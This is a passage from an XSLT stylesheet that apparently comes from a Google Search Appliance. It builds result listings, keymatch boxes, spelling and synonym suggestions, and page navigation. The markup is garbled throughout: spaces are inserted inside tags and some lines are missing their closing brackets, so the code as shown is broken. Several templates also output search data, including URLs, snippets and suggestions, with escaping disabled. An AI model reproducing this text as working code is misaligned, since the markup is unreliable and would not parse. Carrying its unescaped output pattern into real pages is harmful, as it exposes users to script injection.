  <xsl:apply-templates select="RES/R" >
   <xsl:with-param name="query" select="$query"/ >
  </xsl:apply-templates >

 <!-- ** Filter note (if needed) ** -- >
  <xsl:if test="(RES/FI) and (not(RES/NB/NU))" >
   <p >
    <i >
    In order to show you the most relevant results, we have omitted
    some entries very similar to the <xsl:value-of select="RES/@EN"/ >
    already displayed.
    <br/ >If you like, you can <a href="{$filter_url}0" >
     repeat the search with the omitted results included</a >.
    </i >
   </p >
  </xsl:if >
  </div >

 <!-- ** Add bottom navigation ** -- >
  <xsl:variable name="nav_style" >
   <xsl:choose >
    <xsl:when test="($access='s') or ($access='a')" >simple</xsl:when >
    <xsl:otherwise >
     <xsl:value-of select="$choose_bottom_navigation"/ >
    </xsl:otherwise >
   </xsl:choose >
  </xsl:variable >

  <xsl:call-template name="google_navigation" >
   <xsl:with-param name="prev" select="RES/NB/PU"/ >
   <xsl:with-param name="next" select="RES/NB/NU"/ >
   <xsl:with-param name="view_begin" select="RES/@SN"/ >
   <xsl:with-param name="view_end" select="RES/@EN"/ >
   <xsl:with-param name="guess" select="RES/M"/ >
   <xsl:with-param name="navigation_style" select="$nav_style"/ >
  </xsl:call-template >

 <!-- ** Bottom search box ** -- >
  <xsl:if test="$show_bottom_search_box != '0'" >
   <xsl:call-template name="bottom_search_box"/ >
  </xsl:if >

< /xsl:template >


< !-- ***********************************
 Stopwords suggestions in result page (do not customize)
   *********************************** -- >
< xsl:template name="stopwords" >
 <xsl:variable name="stopwords_suggestions1" >
  <xsl:call-template name="replace_string" >
   <xsl:with-param name="find" select="'/help/basics.html#stopwords'"/ >
   <xsl:with-param name="replace" select="'basics.html#stopwords'"/ >
   <xsl:with-param name="string" select="/GSP/CT"/ >
  </xsl:call-template >
 </xsl:variable >

 <xsl:variable name="stopwords_suggestions" >
  <xsl:call-template name="replace_string" >
   <xsl:with-param name="find" select="'/help/basics.html'"/ >
   <xsl:with-param name="replace" select="'basics.html'"/ >
   <xsl:with-param name="string" select="$stopwords_suggestions1"/ >
  </xsl:call-template >
 </xsl:variable >

 <xsl:if test="/GSP/CT" >
  <font size="-1" color="gray" >
   <xsl:value-of disable-output-escaping="yes"
    select="$stopwords_suggestions"/ >
  </font >
 </xsl:if >
< /xsl:template >


< !-- ***********************************
 Spelling suggestions in result page (do not customize)
   *********************************** -- >
< xsl:template name="spelling" >
 <xsl:if test="/GSP/Spelling/Suggestion" >
  <p ><span class="p" ><font color="{$spelling_text_color}" >
     <xsl:value-of select="$spelling_text"/ >
     <xsl:call-template name="nbsp"/ >
    </font ></span >
    <a 
href="/search?q={/GSP/Spelling/Suggestion[1]/@q}&spell=1&{$base_url}" >
    <xsl:value-of disable-output-escaping="yes"
     select="/GSP/Spelling/Suggestion[1]"/ >
   </a >
  </p >
 </xsl:if >
< /xsl:template >


< !-- ***********************************
 Synonym suggestions in result page (do not customize)
   *********************************** -- >
< xsl:template name="synonyms" >
 <xsl:if test="/GSP/Synonyms/OneSynonym" >
  <p ><span class="p" ><font color="{$synonyms_text_color}" >
     <xsl:value-of select="$synonyms_text"/ >
     <xsl:call-template name="nbsp"/ >
    </font ></span >
  <xsl:for-each select="/GSP/Synonyms/OneSynonym" >
   <a href="/search?q={@q}&{$synonym_url}" >
    <xsl:value-of disable-output-escaping="yes" select="."/ >
   </a ><xsl:text > </xsl:text >
  </xsl:for-each >
  </p >
 </xsl:if >
< /xsl:template >


< !-- ***********************************
 A single result (do not customize)
   *********************************** -- >
< xsl:template match="R" >
 <xsl:param name="query"/ >
 <xsl:variable name="stripped_url" select="substring-after(U, '://')"/ >
 <xsl:variable name="full_url" select="UE"/ >
 <xsl:variable name="crowded_url" select="HN/@U"/ >
 <xsl:variable name="crowded_display_url" select="HN"/ >
 <xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/ >
 <xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/ >

 <!-- ** Indent as required (only supports 2 levels) ** -- >
 <xsl:if test="@L='2'" ><xsl:text
  disable-output-escaping="yes" ><blockquote></xsl:text ></xsl:if >

 <!-- ** Result Header ** -- >
 <p >

 <!-- ** Result Title (including PDF tag and hyperlink) ** -- >
 <xsl:if test="$show_res_title != '0'" >
  <font size="-2" ><b >
  <xsl:choose >
   <xsl:when test="@MIME='text/html' or @MIME='' or not(@MIME)" 
</xsl:when >
   <xsl:when test="@MIME='text/plain'" >[TEXT]</xsl:when >
   <xsl:when test="@MIME='application/rtf'" >[RTF]</xsl:when >
   <xsl:when test="@MIME='application/pdf'" >[PDF]</xsl:when >
   <xsl:when test="@MIME='application/postscript'" >[PS]</xsl:when >
   <xsl:when
    test="@MIME='application/vnd.ms-powerpoint'" >[MS 
POWERPOINT]</xsl:when >
   <xsl:when test="@MIME='application/vnd.ms-excel'" >[MS EXCEL]</xsl:when 

   <xsl:when test="@MIME='application/msword'" >[MS WORD]</xsl:when >
   <xsl:otherwise >
    <xsl:variable name="extension" >
     <xsl:call-template name="last_substring_after" >
      <xsl:with-param name="string" select="substring-after(
                         substring-after(U,'://'),
                         '/')"/ >
      <xsl:with-param name="separator" select="'.'"/ >
      <xsl:with-param name="fallback" select="'UNKNOWN'"/ >
     </xsl:call-template >
    </xsl:variable >
    [<xsl:value-of select="translate($extension,$lower,$upper)"/ >]
   </xsl:otherwise >
  </xsl:choose >
  </b ></font >
  <xsl:text > </xsl:text >

  <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
   <xsl:text disable-output-escaping='yes' ><a href="</xsl:text
    ><xsl:value-of disable-output-escaping='yes' select="U"
   / ><xsl:text disable-output-escaping='yes' >"></xsl:text >
  </xsl:if >
  <span class="l" >
  <xsl:choose >
   <xsl:when test="T" >
    <xsl:call-template name="reformat_keyword" >
     <xsl:with-param name="orig_string" select="T"/ >
    </xsl:call-template >
   </xsl:when >
   <xsl:otherwise ><xsl:value-of select="$stripped_url"/ ></xsl:otherwise 

  </xsl:choose >
  </span >
  <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
    <xsl:text disable-output-escaping='yes' ></a></xsl:text >
  </xsl:if >
 </xsl:if >
  
 <!-- ** Snippet ** -- >
 <xsl:if test="$show_res_snippet != '0'" >
  <br/ >
  <span class="s" >
   <xsl:call-template name="reformat_keyword" >
    <xsl:with-param name="orig_string" select="S"/ >
   </xsl:call-template >
  </span >
 </xsl:if >

 <!-- ** Description ** -- >
 <xsl:if test="$show_res_description != '0'" >
  <xsl:apply-templates select="HAS/DI/DS"/ >
 </xsl:if >

 <!-- ** URL ** -- >
  <br/ >
  <font color="{$res_url_color}" size="{$res_url_size}" >
   <xsl:choose >
    <xsl:when test="starts-with($stripped_url, 'noindex!/')" >
     <xsl:if test="($show_res_size!='0') or
            ($show_res_date!='0') or
            ($show_res_cache!='0')" >
      <xsl:text >Not Indexed: </xsl:text >
      <xsl:value-of select="substring($stripped_url, 10)"/ >
     </xsl:if >
 </xsl:when >
    <xsl:otherwise >
     <xsl:if test="$show_res_url != '0'" >
      <xsl:value-of select="$stripped_url"/ >
     </xsl:if >
    </xsl:otherwise >
   </xsl:choose >
  </font >

 <!-- ** Miscellaneous (- size - date - cache) ** -- >
  <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
   <xsl:apply-templates select="HAS/C" >
    <xsl:with-param name="full_url" select="$full_url"/ >
    <xsl:with-param name="query" select="$query"/ >
    <xsl:with-param name="mime" select="@MIME"/ >
    <xsl:with-param name="date" select="FS[@NAME='date']/@VALUE"/ >
   </xsl:apply-templates >
  </xsl:if >


 <!-- ** Link to more links from this site ** -- >
   <xsl:if test="HN" >
    <br/ >
    [
    <a class="f" href="/search?as_sitesearch={$crowded_url}&{
     $search_url}" >More results from <xsl:value-of
  select="$crowded_display_url"/ ></a >
    ]
   </xsl:if >


 <!-- ** Result Footer ** -- >
 </p >

 <!-- ** End indenting as required (only supports 2 levels) ** -- >
 <xsl:if test="@L='2'" ><xsl:text
  disable-output-escaping="yes" ></blockquote></xsl:text >
 </xsl:if >

< /xsl:template >


< !-- ***********************************
 A single keymatch result (do not customize)
   *********************************** -- >
< xsl:template match="GM" >
 <p >
  <table cellpadding="4" cellspacing="0" border="0" height="40" 
width="100%" >
   <tr >
    <td nowrap="0" bgcolor="{$keymatch_bg_color}" height="40" >
     <a href="{GL}" >
      <xsl:value-of select="GD"/ >
     </a >
     <br/ >
     <font size="-1" color="{$res_url_color}" >
      <span class="a" >
        <xsl:value-of select="GL"/ >
      </span >
     </font >
    </td >
    <td bgcolor="{$keymatch_bg_color}" height="40"
     align="right" valign="top" >
  <b >
     <font size="-1" color="{$keymatch_text_color}" >
      <xsl:value-of select="$keymatch_text"/ >
     </font >
  </b >
    </td >
   </tr >
  </table >
 </p >
< /xsl:template >


< !-- ***********************************
 Variables for reformatting keyword-match display (do not customize)
   *********************************** -- >
< xsl:variable name="keyword_orig_start" select="'<b>'"/ >
< xsl:variable name="keyword_orig_end" select="'</b>'"/ >

< xsl:variable name="keyword_reformat_start" >
 <xsl:if test="$res_keyword_format" >
  <xsl:text ><</xsl:text >
  <xsl:value-of select="$res_keyword_format"/ >
  <xsl:text >></xsl:text >
 </xsl:if >
 <xsl:if test="($res_keyword_size) or ($res_keyword_color)" >
 <xsl:text ><font</xsl:text >
 <xsl:if test="$res_keyword_size" >
  <xsl:text > size="</xsl:text >
  <xsl:value-of select="$res_keyword_size"/ >
  <xsl:text >"</xsl:text >
 </xsl:if >
 <xsl:if test="$res_keyword_color" >
  <xsl:text > color="</xsl:text >
  <xsl:value-of select="$res_keyword_color"/ >
  <xsl:text >"</xsl:text >
 </xsl:if >
 <xsl:text >></xsl:text >
 </xsl:if >
< /xsl:variable >

< xsl:variable name="keyword_reformat_end" >
 <xsl:if test="($res_keyword_size) or ($res_keyword_color)" >
  <xsl:text ></font></xsl:text >
 </xsl:if >
 <xsl:if test="$res_keyword_format" >
  <xsl:text ></</xsl:text >
  <xsl:value-of select="$res_keyword_format"/ >
  <xsl:text >></xsl:text >
 </xsl:if >
< /xsl:variable >

< !-- ***********************************
 Reformat the keyword match display in a title/snippet string
   (do not customize)
   *********************************** -- >
< xsl:template name="reformat_keyword" >
 <xsl:param name="orig_string"/ >

 <xsl:variable name="reformatted_1" >
  <xsl:call-template name="replace_string" >
   <xsl:with-param name="find" select="$keyword_orig_start"/ >
   <xsl:with-param name="replace" select="$keyword_reformat_start"/ >
   <xsl:with-param name="string" select="$orig_string"/ >
  </xsl:call-template >
 </xsl:variable >

 <xsl:variable name="reformatted_2" >
  <xsl:call-template name="replace_string" >
   <xsl:with-param name="find" select="$keyword_orig_end"/ >
   <xsl:with-param name="replace" select="$keyword_reformat_end"/ >
   <xsl:with-param name="string" select="$reformatted_1"/ >
  </xsl:call-template >
 </xsl:variable >

 <xsl:value-of disable-output-escaping='yes' select="$reformatted_2"/ >

< /xsl:template >


< !-- ***********************************
 Helper templates for generating a result item (do not customize)
   *********************************** -- >

< !-- ** Description ** -- >
< xsl:template match="DS" >
  <br/ >
  <font size="-1" >
   <span class="f" >Description: </span ><xsl:value-of
    disable-output-escaping='yes' select="."/ >
  </font >
< /xsl:template >

< !-- ** Miscellaneous: - size - date - cache ** -- >
< xsl:template match="C" >
  <xsl:param name="full_url"/ >
  <xsl:param name="query"/ >
  <xsl:param name="mime"/ >
  <xsl:param name="date"/ >

  <xsl:variable name="docid" ><xsl:value-of select="@CID"/ ></xsl:variable 


  <xsl:if test="$show_res_size != '0'" >
  <xsl:if test="not(@SZ='')" >
   <font size="-1" >
    <xsl:text > - </xsl:text >
    <xsl:value-of select="@SZ"/ >
   </font >
  </xsl:if >
  </xsl:if >

  <xsl:if test="$show_res_date != '0'" >
  <xsl:if test="($date != '') and
         (translate($date, '-', '') > 19500000) and
         (translate($date, '-', '') < 21000000)" >
   <font size="-1" >
    <xsl:text > - </xsl:text >
    <xsl:value-of select="$date"/ >
   </font >
  </xsl:if >
  </xsl:if >

  <xsl:if test="$show_res_cache != '0'" >
    <xsl:text > - </xsl:text >
    <a class="f" href="/search?q=cache:{$docid}{$full_url}+{
              $stripped_search_query}&{$base_url}" >
     <xsl:choose >
      <xsl:when test="not($mime)" >Cached</xsl:when >
      <xsl:when test="$mime='text/html'" >Cached</xsl:when >
      <xsl:when test="$mime='text/plain'" >Cached</xsl:when >
      <xsl:otherwise >Text Version</xsl:otherwise >
     </xsl:choose >
    </a >
  </xsl:if >
  
< /xsl:template >


< !-- ***********************************
 Google navigation bar in result page (do not customize)
   *********************************** -- >
< xsl:template name="google_navigation" >
  <xsl:param name="prev"/ >
  <xsl:param name="next"/ >
  <xsl:param name="view_begin"/ >
  <xsl:param name="view_end"/ >
  <xsl:param name="guess"/ >
  <xsl:param name="navigation_style"/ >

 <xsl:variable name="fontclass" >
  <xsl:choose >
   <xsl:when test="$navigation_style = 'top'" >s</xsl:when >
   <xsl:otherwise >b</xsl:otherwise >
  </xsl:choose >
 </xsl:variable >

 <!-- ** Test to see if we should even show navigation ** -- >
 <xsl:if test="($prev) or ($next)" >

 <!-- ** Start Google result navigation bar ** -- >

  <xsl:if test="$navigation_style != 'top'" >
   <xsl:text disable-output-escaping="yes" ><center>
    <div class="n"></xsl:text >
  </xsl:if >
  
  <table border="0" cellpadding="0" width="1%" cellspacing="0" >
   <tr align="center" valign="top" >
 <xsl:if test="$navigation_style != 'top'" >
    <td valign="bottom" nowrap="1" >
     <font size="-1" >
      Result<xsl:call-template name="nbsp"
         / >Page:<xsl:call-template name="nbsp"/ >
     </font >
    </td >
 </xsl:if >
    
 <!-- ** Show previous navigation, if available ** -- >
 <xsl:choose >
     <xsl:when test="$prev" >
      <td >
    <span class="{$fontclass}" >
       <a href="/search?{$search_url}&start={$view_begin -
           $num_results - 1}" >
     <xsl:if test="$navigation_style = 'google'" >
         <img src="/nav_previous.gif" width="68" height="26"
          alt="" border="0"/ >
         <br/ >
     </xsl:if >
        <xsl:if test="$navigation_style = 'top'" >
         <xsl:text ><</xsl:text >
        </xsl:if >
        <xsl:text >Previous</xsl:text >
       </a >
       </span >
       <xsl:if test="$navigation_style != 'google'" >
      <xsl:call-template name="nbsp"/ >
       </xsl:if >
      </td >
     </xsl:when >
     <xsl:otherwise >
      <td >
       <xsl:if test="$navigation_style = 'google'" >
        <img src="/nav_first.gif" width="18" height="26"
         alt="" border="0"/ >
        <br/ >
    </xsl:if >
      </td >
     </xsl:otherwise >
    </xsl:choose >

    <xsl:if test="($navigation_style = 'google') or
           ($navigation_style = 'link')" >
 <!-- ** Google result set navigation ** -- >
    <xsl:variable name="mod_end" >
     <xsl:choose >
      <xsl:when test="$next" ><xsl:value-of select="$guess"/ ></xsl:when >
      <xsl:otherwise ><xsl:value-of select="$view_end"/ ></xsl:otherwise >
     </xsl:choose >
    </xsl:variable >

    <xsl:call-template name="result_nav" >
     <xsl:with-param name="start" select="0"/ >
     <xsl:with-param name="end" select="$mod_end"/ >
     <xsl:with-param name="current_view" select="($view_begin)-1"/ >
     <xsl:with-param name="navigation_style" select="$navigation_style"/ >
    </xsl:call-template >
    </xsl:if >

 <!-- ** Show next navigation, if available ** -- >
    <xsl:choose >
     <xsl:when test="$next" >
      <td nowrap="1" >
       <xsl:if test="$navigation_style != 'google'" >
      <xsl:call-template name="nbsp"/ >
       </xsl:if >
       <span class="{$fontclass}" >
       <a href="/search?{$search_url}&start={$view_begin +
        $num_results - 1}" >
     <xsl:if test="$navigation_style = 'google'" >
         <img src="/nav_next.gif" width="100" height="26"
       alt="" border="0"/ >
         <br/ >
     </xsl:if >
        <xsl:text >Next</xsl:text >
        <xsl:if test="$navigation_style = 'top'" >
         <xsl:text >></xsl:text >
        </xsl:if >
       </a >
       </span >
      </td >
     </xsl:when >
     <xsl:otherwise >
      <td nowrap="1" >
       <xsl:if test="$navigation_style != 'google'" >
     <xsl:call-template name="nbsp"/ >
       </xsl:if >
       <xsl:if test="$navigation_style = 'google'" >
        <img src="/nav_last.gif" width="46" height="26"
      alt="" border="0"/ >
        <br/ >
    </xsl:if >
      </td >
     </xsl:otherwise >
    </xsl:choose >

 <!-- ** End Google result bar ** -- >
   </tr >
  </table >
  
  <xsl:if test="$navigation_style != 'top'" >
   <xsl:text disable-output-escaping="yes" ></div>
    </center></xsl:text >
  </xsl:if >
 </xsl:if >
< /xsl:template >

< !-- ***********************************
 Helper templates for generating Google result navigation (do not 
customize)
  only shows 10 sets up or down from current view
   *********************************** -- >
< xsl:template name="result_nav" >
 <xsl:param name="start" select="'0'"/ >
 <xsl:param name="end"/ >
 <xsl:param name="current_view"/ >
 <xsl:param name="navigation_style"/ >

 <!-- ** Choose how to show this result set ** -- >
 <xsl:choose >
  <xsl:when test="($start)<(($current_view)-(10*($num_results)))" >
  </xsl:when >
  <xsl:when test="(($current_view)>=($start)) and
          (($current_view)<(($start)+($num_results)))" >
   <td >
    <xsl:if test="$navigation_style = 'google'" >
     <img src="/nav_current.gif" width="16" height="26" alt=""/ >
     <br/ >
    </xsl:if >
    <xsl:if test="$navigation_style = 'link'" >
  <xsl:call-template name="nbsp"/ >
    </xsl:if >
 <span class="i" ><xsl:value-of
     select="(($start)div($num_results))+1"/ ></span >
    <xsl:if test="$navigation_style = 'link'" >
  <xsl:call-template name="nbsp"/ >
    </xsl:if >
   </td >
  </xsl:when >
  <xsl:otherwise >
   <td >
    <xsl:if test="$navigation_style = 'link'" >
   <xsl:call-template name="nbsp"/ >
    </xsl:if >
    <a href="/search?{$search_url}&start={$start}" >
    <xsl:if test="$navigation_style = 'google'" >
     <img src="/nav_page.gif" width="16" height="26" alt="" border="0"/ >
     <br/ >
    </xsl:if >
    <xsl:value-of select="(($start)div($num_results))+1"/ >
    </a >
    <xsl:if test="$navigation_style = 'link'" >
  <xsl:call-template name="nbsp"/ >
    </xsl:if >
   </td >
  </xsl:otherwise >
 </xsl:choose >
 
 <!-- ** Recursively iterate through result sets to display ** -- >
 <xsl:if test="((($start)+($num_results))<($end)) and
        ((($start)+($num_results))<(($current_view)+
        (10*($num_results))))" >
  <xsl:call-template name="result_nav" >
   <xsl:with-param name="start" select="$start+$num_results"/ >
   <xsl:with-param name="end" select="$end"/ >
   <xsl:with-param name="current_view" select="$current_view"/ >
   <xsl:with-param name="navigation_style" select="$navigation_style"/ >
  </xsl:call-template >
 </xsl:if >

< /xsl:template >


< !-- ***********************************
 Top separation bar (do not customize)
   *********************************** -- >
< xsl:template name="top_sep_bar" >
 <xsl:param name="query"/ >
 <xsl:param name="time"/ >

  <table width="100%" cellpadding="2" cellspacing="0" border="0" >
   <tr >
    <td class="t" nowrap="1" >
  <xsl:if test="$show_search_info != '0'" >
      <font size="-1" >
       Searched for
       <b ><font color="{$sep_bar_text_color}" >
        <xsl:value-of disable-output-escaping="yes"
        select="$html_escaped_query"/ ></font >
       </b >.
      </font >
     </xsl:if >
     <font size="-6" ><xsl:call-template name="nbsp"/ ></font >
    </td >

    <td class="t" align="right" nowrap="1" >
  <xsl:if test="$show_search_info != '0'" >
      <font size="-1" >
      <xsl:if test="count(/GSP/RES/R) >0 " >
       Results
       <b ><xsl:value-of select="RES/@SN"/ > - <xsl:value-of
          select="RES/@EN"/ ></b >
       <xsl:if test="$access = 'p'" >
        of about <b ><xsl:value-of select="RES/M"/ ></b >
       </xsl:if >.
      </xsl:if >
       Search took
       <b ><xsl:value-of
          select="round($time * 100.0) div 100.0"/ ></b > seconds.
      </font >
     </xsl:if >
    </td >
   </tr >
  </table >
  <hr class="z"/ >
< /xsl:template >

< !-- ***********************************
 Utility function for constructing copyright text (do not customize)
   *********************************** -- >
< xsl:template name="copyright" >
 <center >
  <br/ ><br/ >
  <p >
  <font face="arial,sans-serif" size="-1" color="#2f2f2f" >
   Powered by Google</font >
  </p >
 </center >
< /xsl:template >


< !-- ***********************************
 Utility functions for generating html entities
   *********************************** -- >
< xsl:template name="nbsp" >
 <xsl:text disable-output-escaping="yes" > </xsl:text >
< /xsl:template >
< xsl:template name="nbsp3" >
 <xsl:call-template name="nbsp"/ >
 <xsl:call-template name="nbsp"/ >
 <xsl:call-template name="nbsp"/ >
< /xsl:template >
< xsl:template name="nbsp4" >
 <xsl:call-template name="nbsp3"/ >
 <xsl:call-template name="nbsp"/ >
< /xsl:template >
< xsl:template name="quot" >
 <xsl:text disable-output-escaping="yes" >"</xsl:text >
< /xsl:template >
< xsl:template name="copy" >
 <xsl:text disable-output-escaping="yes" >&copy;</xsl:text >
< /xsl:template >

< !-- ***********************************
 Utility functions for generating head elements so that the XSLT processor
 won't add a meta tag to the output, since it may specify the wrong
 encoding (utf8) in the meta tag.
   *********************************** -- >
< xsl:template name="plainHeadStart" >
 <xsl:text disable-output-escaping="yes" ><head></xsl:text >
 <xsl:text >
 </xsl:text >
< /xsl:template >
< xsl:template name="plainHeadEnd" >
 <xsl:text disable-output-escaping="yes" ></head></xsl:text >
 <xsl:text >
 </xsl:text >
< /xsl:template >

< !-- ***********************************
 Utility functions for generating head elements with a meta tag to the 
output
 specifying the character set as requested
   *********************************** -- >
< xsl:template name="langHeadStart" >
 <xsl:text disable-output-escaping="yes" ><head></xsl:text >
 <xsl